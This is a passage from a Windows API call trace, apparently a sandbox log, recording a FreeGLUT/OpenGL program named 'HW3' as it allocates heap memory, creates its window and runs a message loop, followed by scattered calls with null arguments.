Size=0x15) returned 0x2222090 [0158.541] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x1e) returned 0x22220b0 [0158.541] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x2a) returned 0x22220d8 [0158.541] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x12) returned 0x2222110 [0158.541] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x18) returned 0x2222130 [0158.541] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x46) returned 0x2222150 [0158.541] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x22211f8 | out: hHeap=0x2220000) returned 1 [0158.541] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x762e0000 [0158.541] GetProcAddress (hModule=0x762e0000, lpProcName="IsProcessorFeaturePresent") returned 0x762f5235 [0158.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0158.542] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x800) returned 0x22221a0 [0158.542] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x80) returned 0x22211f8 [0158.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fee0 | out: lpSystemTimeAsFileTime=0x18fee0*(dwLowDateTime=0xe220ee80, dwHighDateTime=0x1d595b2)) [0158.543] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x442a59) returned 0x0 [0158.543] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.544] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.544] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x2221280 [0158.544] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x22212a0 [0158.544] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x22212b0 [0158.544] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.544] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x22212f0 [0158.545] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x2221300 [0158.545] GetLastError () returned 0x0 [0158.545] SetLastError (dwErrCode=0x0) [0158.545] GetLastError () returned 0x0 [0158.545] SetLastError (dwErrCode=0x0) [0158.545] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0xd8) returned 0x2221320 [0158.545] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x355) returned 0x2221400 [0158.545] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221400 | out: hHeap=0x2220000) returned 1 [0158.545] GetLastError () returned 0x0 [0158.545] SetLastError (dwErrCode=0x0) [0158.545] GetLastError () returned 0x0 [0158.545] SetLastError (dwErrCode=0x0) [0158.545] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0xd8) returned 0x2221400 [0158.545] GetLastError () returned 0x0 [0158.546] SetLastError (dwErrCode=0x0) [0158.546] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x355) returned 0x22229a8 [0158.546] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x22229a8 | out: hHeap=0x2220000) returned 1 [0158.546] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221320 | out: hHeap=0x2220000) returned 1 [0158.546] GetLastError () returned 0x0 [0158.546] SetLastError (dwErrCode=0x0) [0158.546] GetLastError () returned 0x0 [0158.546] SetLastError (dwErrCode=0x0) [0158.546] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x200) returned 0x22214e0 [0158.546] GetLastError () returned 0x0 [0158.546] SetLastError (dwErrCode=0x0) [0158.546] GetLastError () returned 0x0 [0158.546] SetLastError (dwErrCode=0x0) [0158.546] GetLastError () returned 0x0 [0158.546] SetLastError (dwErrCode=0x0) [0158.546] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0xd8) returned 0x2221320 [0158.546] GetLastError () returned 0x0 [0158.581] SetLastError (dwErrCode=0x0) [0158.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x355) returned 0x22229a8 [0158.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x22229a8 | out: hHeap=0x2220000) returned 1 [0158.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221400 | out: hHeap=0x2220000) returned 1 [0158.582] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x22216e8 [0158.582] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.583] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.583] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.583] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x22216f8 [0158.584] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221708 [0158.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221718 [0158.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221728 [0158.584] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221738 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221748 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221758 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221400 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221410 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x2221420 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x2221430 [0158.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221420 | out: hHeap=0x2220000) returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x2221448 [0158.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221430 | out: hHeap=0x2220000) returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x20) returned 0x2221420 [0158.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221448 | out: hHeap=0x2220000) returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x30) returned 0x2221448 [0158.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221420 | out: hHeap=0x2220000) returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x48) returned 0x2221480 [0158.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221448 | out: hHeap=0x2220000) returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x68) returned 0x22229a8 [0158.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221480 | out: hHeap=0x2220000) returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x98) returned 0x2221420 [0158.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x22229a8 | out: hHeap=0x2220000) returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xe0) returned 0x22229a8 [0158.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221420 | out: hHeap=0x2220000) returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x150) returned 0x2222a90 [0158.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x22229a8 | out: hHeap=0x2220000) returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x1f8) returned 0x2222be8 [0158.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2222a90 | out: hHeap=0x2220000) returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x2f0) returned 0x2222de8 [0158.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2222be8 | out: hHeap=0x2220000) returned 1 [0158.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x468) returned 0x22230e0 [0158.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2222de8 | out: hHeap=0x2220000) returned 1 [0158.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221420 [0158.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x320) returned 0x22229a8 [0158.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x22230e0 | out: hHeap=0x2220000) returned 1 [0158.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221410 | out: hHeap=0x2220000) returned 1 [0158.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x320) returned 0x2222cd0 [0158.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x22229a8 | out: hHeap=0x2220000) returned 1 [0158.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x2221420 | out: hHeap=0x2220000) returned 1 [0158.586] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.587] RtlSizeHeap (HeapHandle=0x2220000, Flags=0x0, MemoryPointer=0x22211f8) returned 0x80 [0158.587] GetLastError () returned 0x0 [0158.587] SetLastError (dwErrCode=0x0) [0158.587] GetLastError () returned 0x0 [0158.587] SetLastError (dwErrCode=0x0) [0158.587] GetLastError () returned 0x0 [0158.587] SetLastError (dwErrCode=0x0) [0158.587] GetLastError () returned 0x0 [0158.587] SetLastError (dwErrCode=0x0) [0158.587] GetLastError () returned 0x0 [0158.587] SetLastError (dwErrCode=0x0) [0158.587] GetLastError () returned 0x0 [0158.587] SetLastError (dwErrCode=0x0) [0158.587] GetLastError () returned 0x0 [0158.587] SetLastError (dwErrCode=0x0) [0158.587] GetLastError () returned 0x0 [0158.587] SetLastError (dwErrCode=0x0) [0158.587] GetLastError () returned 0x0 [0158.587] SetLastError (dwErrCode=0x0) [0158.587] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.588] SetLastError (dwErrCode=0x0) [0158.588] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.589] GetLastError () returned 0x0 [0158.589] SetLastError (dwErrCode=0x0) [0158.590] GetLastError () returned 0x0 [0158.590] GetClassInfoA (in: hInstance=0x400000, lpClassName="FREEGLUT", lpWndClass=0x18fe98 | out: lpWndClass=0x18fe98) returned 0 [0158.590] LoadIconA (hInstance=0x400000, lpIconName="GLUT_ICON") returned 0x0 [0158.591] LoadIconA (hInstance=0x0, lpIconName=0x7f05) returned 0x10031 [0158.591] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0158.591] RegisterClassA (lpWndClass=0x18fe98) returned 0x2ac119 [0158.591] GetSystemMetrics (nIndex=0) returned 1440 [0158.630] GetSystemMetrics (nIndex=1) returned 900 [0158.630] GetDesktopWindow () returned 0x10010 [0158.630] GetDC (hWnd=0x10010) returned 0xb010723 [0158.631] GetDeviceCaps (hdc=0xb010723, index=4) returned 320 [0158.631] GetDeviceCaps (hdc=0xb010723, index=6) returned 240 [0158.631] ReleaseDC (hWnd=0x10010, hDC=0xb010723) returned 1 [0158.631] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0158.632] timeGetTime () returned 0x113c9a9 [0158.632] timeGetTime () returned 0x113c9a9 [0158.632] GetLastError () returned 0x0 [0158.632] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\FreeGLUT", phkResult=0x18fe60 | out: phkResult=0x18fe60*=0x0) returned 0x2 [0158.632] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x1b8) returned 0x22229a8 [0158.632] GetClassInfoA (in: hInstance=0x400000, lpClassName="FREEGLUT", lpWndClass=0x18fe20 | out: lpWndClass=0x18fe20) returned 1 [0158.632] CopyRect (in: lprcDst=0x18fdd0, lprcSrc=0x18fe04 | out: lprcDst=0x18fdd0) returned 1 [0158.632] AdjustWindowRectEx (in: lpRect=0x18fdd0, dwStyle=0x6cf0000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x18fdd0) returned 1 [0158.632] CopyRect (in: lprcDst=0x18fe04, lprcSrc=0x18fdd0 | out: lprcDst=0x18fe04) returned 1 [0158.632] CreateWindowExA (dwExStyle=0x0, lpClassName="FREEGLUT", lpWindowName="HW3", dwStyle=0x6cf0000, X=0, Y=100, nWidth=66, nHeight=88, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x22229a8) returned 0x40134 [0158.634] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x24, wParam=0x0, lParam=0x18f9f4) returned 0x0 [0158.634] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x81, wParam=0x0, lParam=0x18f9e8) returned 0x1 [0158.636] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x83, wParam=0x0, lParam=0x18f9d4) returned 0x0 [0158.637] GetDC (hWnd=0x40134) returned 0xc01072d [0158.637] GetDeviceCaps (hdc=0xc01072d, index=12) returned 32 [0158.637] ChoosePixelFormat (hdc=0xc01072d, ppfd=0x18f714) returned 1 [0158.638] SetPixelFormat (hdc=0xc01072d, format=1, ppfd=0x18f714) returned 1 [0158.639] wglCreateContext () returned 0x10000 [0158.643] ReleaseDC (hWnd=0x40134, hDC=0xc01072d) returned 1 [0158.644] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221420 [0158.644] SetWindowLongA (hWnd=0x40134, nIndex=-16, dwNewLong=114229248) returned 114229248 [0158.644] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x7c, wParam=0xfffffff0, lParam=0x18fd90) returned 0x0 [0158.644] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x7d, wParam=0xfffffff0, lParam=0x18fd90) returned 0x0 [0158.657] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0158.657] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0158.657] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0158.657] SetWindowPos (hWnd=0x40134, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x27) returned 1 [0158.657] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x46, wParam=0x0, lParam=0x18fdac) returned 0x0 [0158.657] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x83, wParam=0x1, lParam=0x18fd84) returned 0x0 [0158.658] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x46, wParam=0x0, lParam=0x18fdac) returned 0x0 [0158.658] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0158.658] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0158.660] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0158.718] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0158.719] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0158.719] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0158.719] SetActiveWindow (hWnd=0x40134) returned 0x40134 [0158.719] UpdateWindow (hWnd=0x40134) returned 1 [0158.719] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x47, wParam=0x0, lParam=0x18fdac) returned 0x0 [0158.720] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x83, wParam=0x1, lParam=0x18f990) returned 0x0 [0158.720] ShowWindow (hWnd=0x40134, nCmdShow=1) returned 0 [0158.720] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x46, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0158.734] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0158.735] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x14, wParam=0xc01072d, lParam=0x0) returned 0x0 [0158.735] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x47, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0158.735] GetDC (hWnd=0x40134) returned 0xc01072d [0158.735] wglMakeCurrent () returned 0x1 [0158.736] glViewport () returned 0x30d090 [0158.736] IsIconic (hWnd=0x40134) returned 0 [0158.736] GetWindowRect (in: hWnd=0x40134, lpRect=0x18fb08 | out: lpRect=0x18fb08) returned 1 [0158.736] ShowCursor (bShow=1) returned 1 [0158.736] glDrawBuffer () returned 0x1 [0158.737] glReadBuffer () returned 0x1 [0158.737] wglGetProcAddress () returned 0x0 [0158.737] glClearColor () returned 0x30d090 [0158.737] glClearDepth () returned 0x30d0a8 [0158.737] glEnable () returned 0x30d0b8 [0158.737] glDepthFunc () returned 0x30d0c0 [0158.737] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x2221430 [0158.737] timeGetTime () returned 0x113ca0e [0158.737] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221450 [0158.737] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221460 [0158.737] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x2221470 [0158.737] GetLastError () returned 0x7f [0158.738] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 1 [0158.739] GetMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18feb4) returned 1 [0158.739] TranslateMessage (lpMsg=0x18feb4) returned 0 [0158.739] DispatchMessageA (lpMsg=0x18feb4) returned 0x0 [0158.739] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 1 [0158.739] GetMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18feb4) returned 1 [0158.739] TranslateMessage (lpMsg=0x18feb4) returned 0 [0158.739] DispatchMessageA (lpMsg=0x18feb4) returned 0x0 [0158.739] GetUpdateRect (in: hWnd=0x40134, lpRect=0x18fb30, bErase=0 | out: lpRect=0x18fb30) returned 1 [0158.739] BeginPaint (in: hWnd=0x40134, lpPaint=0x18faf0 | out: lpPaint=0x18faf0) returned 0xc01072d [0158.739] EndPaint (hWnd=0x40134, lpPaint=0x18faf0) returned 1 [0158.739] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 0 [0158.739] timeGetTime () returned 0x113ca10 [0158.739] GetWindowRect (in: hWnd=0x40134, lpRect=0x18fe70 | out: lpRect=0x18fe70) returned 1 [0158.739] GetClientRect (in: hWnd=0x40134, lpRect=0x18fe70 | out: lpRect=0x18fe70) returned 1 [0158.740] glViewport () returned 0x30d0c8 [0158.740] wglGetCurrentDC () returned 0xc01072d [0158.740] WindowFromDC (hDC=0xc01072d) returned 0x40134 [0158.740] ShowWindow (hWnd=0x40134, nCmdShow=0) returned 1 [0158.740] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x46, wParam=0x0, lParam=0x18fde0) returned 0x0 [0158.742] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x47, wParam=0x0, lParam=0x18fde0) returned 0x0 [0158.743] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0158.743] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0158.743] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0158.743] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0158.743] GetClassFileOrMime (pBC=0x0, szFilename=0x0, pBuffer=0x0, cbSize=0x0, szMime=0x0, dwReserved=0x0, pclsid=0x0) returned 0x80070057 [0158.743] GetParent (hWnd=0x0) returned 0x0 [0158.743] GetParent (hWnd=0x0) returned 0x0 [0158.743] GetParent (hWnd=0x0) returned 0x0 [0158.743] GetParent (hWnd=0x0) returned 0x0 [0158.744] GetParent (hWnd=0x0) returned 0x0 [0158.744] GetParent (hWnd=0x0) returned 0x0 [0158.744] GetParent (hWnd=0x0) returned 0x0 [0158.744] GetParent (hWnd=0x0) returned 0x0 [0158.744] GetParent (hWnd=0x0) returned 0x0 [0158.744] GetPerformanceInfo (pPerformanceInformation=0x18fa6c, cb=0x0) returned 0 [0158.744] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d878 [0158.744] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e060 [0158.744] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e080 [0158.744] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e0a0 [0158.744] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e280 [0158.744] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0158.744] GetConsoleWindow () returned 0x0 [0158.744] SetWindowPos (hWnd=0x0, hWndInsertAfter=0x0, X=5, Y=2, cx=10, cy=20, uFlags=0x40) returned 0 [0158.744] CombineRgn (hrgnDst=0x0, hrgnSrc1=0x0, hrgnSrc2=0x0, iMode=1) returned 0 [0158.744] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f68c, fWinIni=0x0 | out: pvParam=0x18f68c) returned 1 [0158.744] SendMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0158.744] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e080 | out: hHeap=0x2220000) returned 1 [0158.744] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e280 | out: hHeap=0x2220000) returned 1 [0158.744] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a0 | out: hHeap=0x2220000) returned 1 [0158.744] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0158.744] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e060 | out: hHeap=0x2220000) returned 1 [0158.744] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d878 | out: hHeap=0x2220000) returned 1 [0158.745] GetLastError () returned 0x578 [0158.745] InitCommonControls () [0158.745] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=236) returned 0x0 [0158.745] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=0) returned 0x0 [0158.745] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=-514) returned 0x0 [0158.745] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=-6791920) returned 0x0 [0158.745] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=236) returned 0x0 [0158.745] LoadIconA (hInstance=0x400000, lpIconName=0xec) returned 0x0 [0158.745] SCardForgetReaderA (hContext=0x0, szReaderName=0x0) returned -2146435055 [0158.859] LoadIconA (hInstance=0x400000, lpIconName=0x96) returned 0x0 [0158.859] LoadIconA (hInstance=0x400000, lpIconName=0x5d10) returned 0x0 [0158.859] LoadIconA (hInstance=0x400000, lpIconName=0xc) returned 0x0 [0158.859] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0158.859] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0158.859] SCardGetCardTypeProviderNameA (in: hContext=0x0, szCardName=0x0, dwProviderId=0x0, szProvider=0x0, pcchProvider=0x18f618 | out: szProvider=0x0, pcchProvider=0x18f618) returned -2146435068 [0158.859] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0158.859] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0158.859] ImageList_Create (cx=20, cy=16, flags=0x1, cInitial=2, cGrow=2) returned 0x34a998 [0158.860] LoadIconA (hInstance=0x400000, lpIconName=0xfdfe) returned 0x0 [0158.860] LoadIconA (hInstance=0x400000, lpIconName=0x5d10) returned 0x0 [0158.860] ImageList_ReplaceIcon (himl=0x73df0278, i=-1, hicon=0x0) returned -1 [0158.860] ImageList_ReplaceIcon (himl=0x73df0278, i=-1, hicon=0x0) returned -1 [0158.860] SendMessageA (hWnd=0x0, Msg=0x1109, wParam=0x0, lParam=0x73df0278) returned 0x0 [0158.860] DestroyCursor (hCursor=0x0) returned 0 [0158.860] DestroyCursor (hCursor=0x0) returned 0 [0158.860] DestroyCursor (hCursor=0x0) returned 0 [0158.860] DestroyCursor (hCursor=0x0) returned 0 [0158.860] DestroyCursor (hCursor=0x0) returned 0 [0158.860] DestroyCursor (hCursor=0x0) returned 0 [0158.860] SendMessageA (hWnd=0x0, Msg=0x110a, wParam=0x0, lParam=0x0) returned 0x0 [0158.860] SendMessageA (hWnd=0x0, Msg=0x110b, wParam=0x9, lParam=0x0) returned 0x0 [0158.860] IsWindow (hWnd=0x40134) returned 1 [0158.860] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d878 [0158.860] GetDC (hWnd=0x0) returned 0x2e0101d4 [0158.860] CreateCompatibleDC (hdc=0x2e0101d4) returned 0x5010804 [0158.860] CreateDIBSection (in: hdc=0x0, lpbmi=0x18ed98, usage=0x0, ppvBits=0x18ed90, hSection=0x0, offset=0x0 | out: ppvBits=0x18ed90) returned 0x0 [0158.860] GetCurrentObject (hdc=0x5010804, type=0x7) returned 0x185000f [0158.860] SelectObject (hdc=0x5010804, h=0x0) returned 0x0 [0158.860] ReleaseDC (hWnd=0x0, hDC=0x2e0101d4) returned 1 